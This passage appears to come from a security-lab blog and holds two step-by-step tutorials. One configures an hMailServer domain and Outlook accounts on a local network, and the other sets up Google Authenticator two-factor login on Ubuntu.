![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8wH2b9ARbno/WbJjPJcaP7I/AAAAAAAARQ0/3aYcRlqswDkvRTgzR4p8A9uJWHzqFMPdACLcBGAs/s1600/5.png?w=687&ssl=1)
Enter the domain name of your choice such as pentestlab.local and click the checkbox for Enable.
Now at last click on save which will create a domain “pentestlab.local” into hailmail server.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-FFx2j79oLiE/WbJjPT5-_RI/AAAAAAAARQ4/X8Oc6VjsYDwlGdNmYuNqFySALdS8B3DiACLcBGAs/s1600/6.png?w=687&ssl=1)
From the given image you can observe pentestlab.local had been created on the left panel. After then click on Account in order to create a new user for your mail server.
Click on ADD
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-TMkhoh4W0eU/WbJjPpfChMI/AAAAAAAARRA/hyYOZcQuQjAYwPsLMEvDsewYKwghwgnXACLcBGAs/s1600/7.png?w=687&ssl=1)
Now follow the given below step to create a user for your own mail server.
Address: username (info)
Password: Give password for the username
Click the checkbox for Enable
Click on save
Repeat the step to create more users for the mail server.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-GmD6Ga_kPyI/WbJjPjvgEvI/AAAAAAAARQ8/kP8vYlupWPgOheW2q7qM_UEexflwXny_ACLcBGAs/s1600/8.png?w=687&ssl=1)
From the given image you can see I had created three users and for mail server at least you should create two accounts, one account for the sender and other for the receiver.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-_fchgl_cfOU/WbJjPxDd1ZI/AAAAAAAARRE/STxloHwEAO0UukQIEMlBPw1R0yePSO9wwCLcBGAs/s1600/9.png?w=687&ssl=1)
Select all three protocols SMTP, POP3, IMAP as shown in the image.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-5R3rtZ_ujEQ/WbJjKi_WM7I/AAAAAAAARPs/e45evGx-xncLd6Zh3p9YRLSwJl5X1v27wCLcBGAs/s1600/10.png?w=687&ssl=1)
Click on SMTP given in left panel select Advance option and type your IP “192.168.1.104” to bind your local IP with the mail server.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-B8Bdx-TN9vc/WbJjKyeM91I/AAAAAAAARP0/SDxveyyS3hgbCCK-gfe3az0TnKYuFihgACLcBGAs/s1600/12.png?w=687&ssl=1)
After than select Advance option in left panel and type you’re your domain name (for example pentestlab.local) as default domain and click on save.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-tR2uWtf2gHA/WbJjLibvUVI/AAAAAAAARP8/YYl3ydPVUS4b1TuyxeGJxJ5jcANWoy6_gCLcBGAs/s1600/13.png?w=687&ssl=1)
Select Auto-ban under Advance has given in left panel. Uncheck Enable for auto-ban.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-G5E81RkboYU/WbJjLnb_nDI/AAAAAAAARP4/CYb6LJNKqBEZ9O__67HAf1oUQHr-N-V9wCLcBGAs/s1600/14.png?w=687&ssl=1)
Now open host file from given path system32 > drivers > etc > hosts
Edit your IP (192.168.0.104) with domain name (pentestlab.local) as shown in given image.
![[Image: 15.1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-HID97rGFlTM/WbJjMLQVteI/AAAAAAAARQA/I5NKeEUHACUL_PoJraMwpBjXUMWV4sOzwCLcBGAs/s1600/15.1.png?w=687&ssl=1)
Now use two different systems in your local network for sending mail through them.
System 1st
Open Microsoft Outlook and select option Add account.
Click the radio button for “Manual setup or additional server type”
Click on Next.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-f_cJo4eNPXA/WbJjMYMKtII/AAAAAAAARQE/FFDNNbrf0wMLsjLdSgOmeOGmNLsuPKgrgCLcBGAs/s1600/15.png?w=687&ssl=1)
Click the radio button to choose service for IMAP or pop Click on Next.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-LxVOFPc7F4U/WbJjMS1VoRI/AAAAAAAARQM/_Y8GF-JrYEAcoj4xLclN0NKjx7DvmQ_ZgCLcBGAs/s1600/16.png?w=687&ssl=1)
Enter the information of mail server for setting your account as given below:
User information
- Your name: info
- Your email: [email protected] (provide an email id which you have created in hmail server account.)
- Account type: POP3
- Incoming mail server: 192.168.0.104
- Outgoing mail server: 192.168.0.104
- Username: [email protected]
- Password: ******
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-yEV4YwplwZI/WbJjMv4D34I/AAAAAAAARQI/vxrLmolyGsQZSLhhyJBtugVaAkMcFmaUgCLcBGAs/s1600/17.png?w=687&ssl=1)
Click on more setting and choose option outgoing server and enable the following services:
- Use the same setting (SMTP) requires authentication
- Use the same setting as my incoming mail server
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-2K5zRbshMEM/WbJjM1GmwPI/AAAAAAAARQQ/E1fKZLbiOr8ctqVjBowi5meZ5mkyNnBWACLcBGAs/s1600/18.png?w=687&ssl=1)
In order to verify server setting for account click on “Test on Account Setting”
From the given image you can observe it is showing green ticks for both tasks with status “completed”. It will show status “fail” if it found any error in the account setting.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-v0A8vocyi24/WbJjNA-eyvI/AAAAAAAARQU/ioZpOf56AGY2RDc_bmrKcazMloYvN4vVQCLcBGAs/s1600/19.png?w=687&ssl=1)
System 2nd
Open Microsoft Outlook and select option Add account and repeat above step for mail server account setting.
Note: now you’re having two different accounts on two different systems in the same local network as sender and receiver.
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/--K1VXHUXYtA/WbJjN-NtGGI/AAAAAAAARQk/1CuHJWIyiZ0TIP4YD7MGelmf7ndmagzEACLcBGAs/s1600/20.png?w=687&ssl=1)
Now we are testing our mail server by sending mail from one system to another with a different account.
Sender: [email protected]
Receiver: [email protected]
Here we are Sending a message from system 1st to 2nd through Microsoft outlook. You can use another method also for account setting and sending mail for example Thunderbird.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-RWo4xrIV9eA/WbJjNjUhSjI/AAAAAAAARQg/gmHw9fwGcLAq893Jmnt-MAcb13hiT1u6wCLcBGAs/s1600/22.png?w=687&ssl=1)
Open raj account of 2nd system and verify whether user received any mail from send info or not. Form given image can see we have successfully received mail in raj account.
In this way, you can configure your own mail server for the local network.
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-YC3v233hdV8/WbJjNybsNSI/AAAAAAAARQc/Vg_Rni-rbAwVRm4h9OT8a-ORKf_FD4LpwCLcBGAs/s1600/23.png?w=687&ssl=1)
Hello friends, today we are going to implement two-factor authentication on ubuntu. Two-factor authentication adds an extra layer of security. We are going to use google authenticator to implement two-factor authentication.
Before we start, once we have set this up, we will not be able to log into the account (or issue sudo commands) without a six-digit code from the authenticator. This also adds another step for us. Remember, however, this added step brings with it an extra layer of security we wouldn’t have otherwise.
First we are going to install google authenticator on our Ubuntu.
sudo apt-get install libpam-google-authenticator
1
sudo apt-get install libpam-google-authenticator
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-UUarrzmw0iI/WbEtTmDygZI/AAAAAAAAROs/7pUHaky5AdEx99CchPGuN3nsBSD6KGU-ACLcBGAs/s1600/1.png?w=687&ssl=1)
After we install it we are going to configure our authenticator. Open /etc/pam.d/common-auth
sudo gedit /etc/pam.d/common-auth
1
sudo gedit /etc/pam.d/common-auth
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-FQmMApvBsHk/WbEtTSKjX6I/AAAAAAAAROo/zeoWnPN2QkcO-BMW5mQSyDRh5esYiJmYwCLcBGAs/s1600/2.png?w=687&ssl=1)
Add a line auth required pam_google_authenticator.so
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-txAmGhxtNYM/WbEtTo3mLVI/AAAAAAAAROw/BS29clw_vdkTp5bXyUHMx1czo_HCPT5KgCLcBGAs/s1600/3.png?w=687&ssl=1)
Now install google authenticator on your smartphone.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-YmwiNtXUkbk/WbEtTwn7WjI/AAAAAAAARO0/n-dDGlazgKsEjcTAqRV35w5jxVp7ywSCgCLcBGAs/s640/4.png?w=687&ssl=1)
After configuring the authenticator we are going to setup google-authenticator. Now run command google-authenticator on terminal. When prompted select yes for time-based authentication. In time based authentication OTP will be valid for a particular period of time.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-llsdnrDYpd8/WbEtUKJs41I/AAAAAAAARO4/uaA5SxVFLQ8kcstOg_Xu8EQREfYCE05GwCLcBGAs/s1600/5.png?w=687&ssl=1)
Now it will generate password and a QR-code. You can either create an account manually or simply scan the QR-code on your phone to setup your account.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-U2A8vpZue7A/WbEtUSLl21I/AAAAAAAARO8/EjrJbEKsLR44VkQk__hnIm_tqBX3T9eKACLcBGAs/s1600/6.png?w=687&ssl=1)
Once you have created the account on your smartphone it will look something like this.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-GNDxUws1hAI/WbEtU8NUldI/AAAAAAAARPE/gaCVNIjeG4YOiyt3Pt31qTdIQK9njAdVACLcBGAs/s640/7.png?w=687&ssl=1)
After creating the account on your smartphone, select yes to update google authenticator on terminal.
After updating it will ask multiple options to select the type of authentication you want. You can customize it according to your need.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-YJbNufPRgHo/WbEtU_68llI/AAAAAAAARPA/Xm_CPNRK5aAXcILtB_oTogJOgzFNaUhCQCLcBGAs/s1600/8.png?w=687&ssl=1)
Now we restart our system to check if the authenticator is working.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ooX_Pehdry4/WbEy6TKGfTI/AAAAAAAARPc/BOJVxUVcOfQURrUkWSZ-6h4Id2TBeEOVQCLcBGAs/s1600/9.png?w=687&ssl=1)
Now when we try to login it asks for verification code that will be available on your smartphone.












